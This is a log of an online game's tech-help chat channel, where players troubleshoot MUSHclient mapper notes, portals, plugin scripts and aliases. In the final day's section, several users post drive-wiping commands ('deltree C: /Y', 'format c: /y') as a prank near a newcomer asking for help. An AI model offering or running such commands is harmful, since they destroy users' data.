T3/r7/2013-06-07.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: how do i check data usage in win 7?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What sort of data usage? You want network data usage?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: yes
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: At any given point, or over a month or w/e
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: atm
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: task manager->networking
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vable Tech: wif you using bbssh what font should you use?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Anything monospace would be fine - look for Monospace, MS or 'Console' fonts
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vable Tech: ok
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: i have the house of cards portal set up in my mapper in mush...but when i xrt cards it uses the aard amulet and runs to the area,..how can i get it to use the cards port?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Faylen Tech: You've set up other portals and they work?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: yes
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Could be a level cap issue, or you set it wrong- or maybe a nearby cexit near the portal is blocked or unmapped
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: I've found the portal sys pretty efficient
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: the cexit is maped but after it uses the amulet of aard and runs to the area and it hunts my mob and i click the room name then it uses the cards port to move 2 rooms lol
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vable Tech: what all can you use to play aard on your phone?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vonliege Tech: question having to do with delays, cutom exits, and the pass door wish - if i understand correctly, opening a door causes a slight delay.  'passing thru' the door does not cause a delay.  since i'm looking at the passdoor wish next, i will not want to waste time opening doors anymore, so would be interested in deleting all my thousands of 'no magical' door opening custom exits...  is there a logical approach to this?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Opening has no delay, or if it does it's utterly insignificant
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I have passdoor and still leave all my op n;n and whatevers in the mapper.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: With mushclient it would be simple enough to open the map file in SQL editors (with Mush closed) and delete them.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And some of those doors are no passdoor, so you'll have to readd them.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Just leave them in :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Newchange.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vonliege Tech: k
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: anyone buy a new ultrabook recently, what did you get and how is it doing?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: macbook air.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( Don't listen to the fanboty )
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: fanboy*
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: I have a 11" and a 13". 
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: it's a whole lot better than my chromebook, my dell, my acer, and the asus
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Sure, you can say that. I just don't see the logic in spending 2x+ the cost of the machine just because it has a half eaten apple on the top.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Yes, THAT Neeper keeps on listening.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: because it's actually better. and loss of productivity matters to me.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: better is very much relative, though :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: it is, and I am willing to pay for it.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The only thing I like about the OSX OS, is that it's unix at it's base, and as such most of your typical unix commands work
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but I can also throw unix on a new machine for free :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: plentiful people use it w/o knowing unix commands, and it still works brilliantly.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: i'll not be getting a macbook air, appreciate the input but my experience with macs hasn't been as golden so looking for non-mac suggestions.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: it's light, small enough, has good battery life, and solid construction.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: ok, then I have nothing to offer you. like I said, it's a whole lot better than any of my non-Mac machines.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Sneak Tech: and I have been through quite a few.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: k, thanks
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I do like my chromebook, though
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: cheez
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: cheez: whatchya got if your antimac :)
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: He did say Chromebook.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's a few models of chromebook :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Of course, I didn't take that into account.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I just don't remember offhand which I got, I only use it on long trips
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I prefer my gaming rig for my day-to-day endeavors :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: yeah I've got a cb pixel in the cupboard
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: picked it up at googleio
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I wanted to go to googleio
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: But work wouldn't pay for it :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: afk 2
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: b
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: bk
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: nothing else? :) only the mac lovers and haters? :)
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Seniseis Tech: i love macdonals
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Alkob Tech: hello, anyone there?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Six-String Strazor perks up, something must have grabbed his attention.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Alkob Tech: trying to find soundpack for vip mud
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Misfitkiller Tech: why can't I scroll in bbssh 
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Six-String Strazor Tech: I am afraid I don't know much about Vip Mud. sorry.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Faylen Tech: I can't really help you there, as what I have is not really fit for public consumption, heh. However if you're up for switching clients, I can help you get the aard mushclient accessible. Not right this second, but I could do it
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Alkob Tech: i can use any other client if there is soundpack fori t
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Six-String Strazor Tech: I think WinkleWinkle had a sound pack.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: Faylen nods at Six-String Strazor.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Faylen Tech: for mushclient, yeah. That's what I used and modified for my current setup
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Six-String Strazor Tech: This is for Mushclient Alkob.  https://code.google.com/p/aardwolf-scriptalicious/downloads/detail?name=Sound_Pack_%28Unzip_into_Mushclient_Directory%29.zip&can=2&q=
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Faylen Tech: But you need to do much more to get mush to work right with a screen reader
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Alkob Tech: so what now, it seems that screen reader wont read, rright?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Faylen Tech: Give me a bit, trying to find some eq I lost, hehe. I can help you in a bit
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So.... just had, what I consider to be, a cool idea. Looking for some people to flame it and tell my why it's stupid because I can't think of any reasons offhand.... Twitter poker, use twitter to do a for-fun-only worldwide poker game...
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Faylen Tech: Anyone happen to know what's up with Fiendish lately? I want to get with him about incorporating some accessibility stuff into the aard mushclient, but I noticed he hasn't been on for a couple weeks now.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: Why have so many Tiers chosen Triton?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Ontuct Tech: they like sloshing around
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Gonf Tech: wrong channel, but probably because they have a nice stat reductions for thief
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: Because trtion is a good thief race
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: they like str dex luck
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: okay ... what do you guys consider to be the best race on Aard?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: human :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Myopic Tech: the three legged?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: because of the 0's across the board?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}GraySong Gregor Tech: aardwolf is 100% completely balanced
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Roidrage Tech: human
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Vexthorne Tech: (I wouldn't personally recommend human at low tiers)
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: well, not 100% yet ... but it's better than anyplace else I've ever been
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Roidrage Tech: level as a race with low stat penalties to level then once ur higher tier go human
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: but for t0s to t8 you should take advantage of stat reduction race gives you
T3/r7/2013-06-07.txt.gz:{chan ch=tech}BlueBeetle Tech: this should be on question channel anyway :p
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: I agree ... where best to ask?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Roidrage Tech: question
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: on my way
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Roidrage Tech: type channels
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: hey ... I'm an old timer. I've just always been Wolfen
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: I wanted TECHIE advice on race ... not general advice
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Mostly Moofie Tech: sorry to bother you guys
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Quibbling Nibbly Tech: how do i display a room's UID
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hover over it on the mapper window
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Quibbling Nibbly Tech: what if its on a continent
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can still do the same thing
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Quibbling Nibbly Tech: its just telling me "drag to move window"
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Ayasinda Tech: you can type 'mapper thisroom' on a continent
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Quibbling Nibbly Tech: thank you so much! :)
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Does the java compiler (javac) have an output file switch that I'm not finding in the man page? Basically, I want to have it output the .class file to a different directory, similar to how Eclipse puts the .class in /bin and the .java in /src
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: herp derp, it's -d for .class and -s for .java, apparently.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: Eh can I ask- when writing a plugin alias, when you have the field script = "<name>" then you just need to define the script below like so: function <name> ... end?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Newchange Tech: sorry- function <name> (name, line, wilcards) ... end?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yes, though if it's in <send> and the sendto is correct you don't need it.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And it's not right below, it's in the cdata part where the rest of the code is.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: you only have to define those if you send to '12' instead of decalring the script to call
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And btw the name, line, wildcards, etc are all optional don't need to them.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Arystul Tech: anyone know if its possible, and how to change an IP address?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: request dynamic from ISP
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Most of the time, through your ISp.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: you can try changing MAC on your router, see if that haves them give you another
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: it's quite possible and easy...but how to do so wherethe rest of the world will listen to you would depend on your connection
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: if you do the former most ISPs will charge extra for dynamic
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Arystul Tech: dynamic is what comcast provides typically, its static that costs more
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: ISPs don't charge extra for dynamic, they may charge extra for static
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Arystul Tech: I used to work there and knew how, but was a few years ago and have forgotten
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: no ISP has ever charged extra for dynamic...dynamic saves them money
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: yeah, my thinking was backwards :P
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Most people do tend to get dynamic and static mixed up. ;)
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, most non-techie.
T3/r7/2013-06-07.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: How do you mix it up?
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: casually
T3/r7/2013-06-07.txt.gz:{chan ch=tech}Tech: truri: basically because the terms are pretty meaningless to most people
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: someone that has some skill with lua mind helping me with a problem?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Book of Etzli Tech: What do you need help with?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: normally you get better responses if you just ask the question
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: i can't get a plugin to serialize and i just can't see the problem it and the error messages are posted here http://pastebin.com/uY0gAssB
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: so no ideas why it won't work or just no interest?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: how do i clear my buffer?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Jhav Tech: Disconnect and then reconnect.
T3/r7/2013-06-08.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: is there a plugin that shows the area name of a gq in a room gq?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm sure one could be made to interface with mapper and link room names to potential areas - but such a thing is likely to grow into a full GQ script, and those are not given freely (not after WinkleWinkle, anyways)
T3/r7/2013-06-08.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm how much do they cost?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lol... when I say not given freely I mean not given at all :-P But feel free to offer rl money for one, you might get lucky
T3/r7/2013-06-08.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: is there a way to edit mapper portal? like redo the commands?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Ayasinda Tech: delete the portal and create a new one
T3/r7/2013-06-08.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: guess you rught...
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: i found out the problem
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: why mapper notes dont save
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: u need to run mush client as administrator worked for me
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: you don't need to run mushclient as administrator, but you will need to have write access to the mapper database file...
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: oh how do i do that without running it as administrator or have write access?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: don't put the mushclient folder into program files
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: its on my desktop
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: then you should have write access...right-click the database file, to properties and ensure that your user has privs to it
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: k ty
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: ill check now
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: mapper notes are saved the same way that new rooms, portals and custom exits are saved, so if one saves, the other will as well
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: my cexits save but my mapper notes never save for some reason and where do i find the database file? ><
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: how are you determining that your notes are not saving?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: i got back to the room where i saved for example i type mapper addnote key is on this guy then when i log back in and walk into the room the note is gone
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: try typing "mapper notes area"
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: err mapper notes here
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: wow there all there how come they dont show up when i enter the room
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Digs Tech: mapper shownotes on
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: thanks! 
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vexthorne Tech: I'm kind of curious what  notes people make in mapper anyways?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Atoam Tech: "This is where that guy bowed to me"
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Garthis Tech: hehe
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Ayasinda Tech: mapper shownotes is also mentioned in mapper help.
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tynrael Tech: my favorites are key locations and in mazes the important rooms, because they show up on the map so I can aim for them more directly
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Ayasinda Tech: I make notes with key locations
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: i used them for keys
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Garthis Tech: location of mobs in zones where they dont move but the zone is annoying :-)
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vexthorne Tech: yeah keys seem like a good idea hmm
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Roidrage Tech: i have bad memory so i need notes
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: just got a new mouse, but the scroller doesnt seem to work on mushclient. works fine on other programs (scrolling through chrome etc). On mushclient, not so well. Does anyone know the issue?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: make sure you're over the main output, and even click main output and try again
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: miniwindows can be scrollable, so MUSHclient will allow the scroll wheel to work in them individually as well
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: Hey Abelinc, even after I click on main output, the scrolling problem is still there. I changed to my old mouse and it works perfectly fine..
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vuron Tech: what mouse do you have and you are talking about scrolling by spinning the mouse wheel right?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vesuviou Tech: How do I make a trigger to stuff enemy's loot into my container when I autolooted its corpse?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Daloran Tech: very carefully.
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vesuviou Tech: ok
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: it'd be a trivially-easy trigger to make, but hard to make it not go overboard...
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vesuviou Tech: I can do if its not because of another line where it get golds from corpse
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: easy to make an invmon trigger that just puts any item aquired into container
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: can't reliably trigger on the "gets from corpse" message...that gives you the item's short description and not its keywords...
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vesuviou Tech: So what do I do, what do I type in trigger box, Abelinc?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: you'd make the trigger on invmon, and have that turned on
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vesuviou Tech: what is invmon?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc bets there's a helpfile on that
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Daloran Tech: I just checked. There totally isn't.
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Daloran Tech: help that - there is no help with that keyword
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tynrael Tech: invmon? Shows up for me.
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vexthorne Tech: Daloran is being obtuse :)
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: he's being funny
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Vexthorne Tech: I was kind of implying the same thing but sure!
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Daloran Tech: Dawwww. Abe thinks i'm funny? =p
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Narhtan Tech: is there a way to use your level in an alias?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Narhtan Tech: like when I type mobdeaths it takes my level and ten levels higher than mine?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: what client are you using?
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: idk if mush has that stored internally, if not, just trig level output and omit from output 
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: then go from there
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: look at my whopk and warfare gag plugins...
T3/r7/2013-06-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with any client that you can use gmcp on you can easly pull that data and use it
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: the whopk one is basically exactly what you want, just different command
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: pretty sure that one always used it
T3/r7/2013-06-08.txt.gz:{chan ch=tech}Tech: the ones which were pre-GMCP are the autoprac, autoquaff and autorecall
T3/r7/2013-06-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: whats a good program on linux that works like dreamweaver?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: can a person use a execute in a doafter where even the execute contains brackets?(mushclient)
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Jopari Tech: if my brother has an account, is it impossible for both of us to play at the same time?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Of course you can, subject to rules under help multiplaying!
T3/r7/2013-06-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: as long as you have 2 computers (phones) or what have you
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Jopari Tech: okay, i'll check it out.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Hanslanda Tech: Aard is not really set up on an account basis, so the only thing that matters is what IP address the world sees both of you as.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Jopari Tech: both of us are in the same house
T3/r7/2013-06-09.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: usualy letting imms know helps
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Jopari Tech: how?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Nuanse Tech: who imm -> tell "imm" your problem
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Nuanse Tech: also board personal -> note write immortal -> my problem -> write down problem -> .s
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Nuanse Tech: usually notes are better, they contact you when they have time. they are quite busy 
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I fly like paper, get high like planes, if you catch me at the border I got visas in my name
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: haha wrong channel!
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tech: FirstBlade Gladacus laughs out loud.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: hello, anyone out there?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: 00100110
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: shift + ctrl + 9
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: wow! this is exactly what i need.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: hmmm i'm going to try it.. lets see what you do to me
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: i need advice writing an alias on MUSHclient.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Vonliege Tech: just don't fall for the 'ol 'CNTR+ALT+DEL' or 'CTRL+ALT+F4' gag
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Ctrl+alt+f4 does nothing.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: what are you trying to do?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i prefer the ctrl + f13 :D
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Neither does Ctrl+Alt+Del, really.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: ctrl alt delete still reboots my computer
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: deltree C: /Y
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger runs away in utter terror!
T3/r7/2013-06-09.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: anyone remember that old old old raido show that did that to someone
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: format c: /y
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: i want to portal to my clan hall. i wrote an alias but need to make my offhand weapon variable
T3/r7/2013-06-09.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: yes ma'am deltree c:\ and it will delete all the virus..."its doing it, its doing it! wow its getting a lot"
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: SetVariable("dualed", "whateverhere")
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at LOL YOLO Gruagach.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: In your alias, put @variablename, and check the box that says expand variables
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: then set a variable (either through the menus, or by calling the function Cheez wrote)
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Vonliege Tech: to get to the 'variable' setting in Mush.. press CTRL+SHIFT+7
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: hold on! let me try it step by step. will get back to you in a minute...
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Thunderous Norton Tech: still confused... nothing happened when i typed ctrl-alt-f13
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: i entered the command starting with SetVariable("dualed", "offhand")
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: and then tried to use it with dual ffhand
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: and then tried to use it with "dual ffhand"
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: sorry it removes the @
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: and then tried to use it with dual @offhand
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Vonliege Tech: type the "@" twice to get it to show
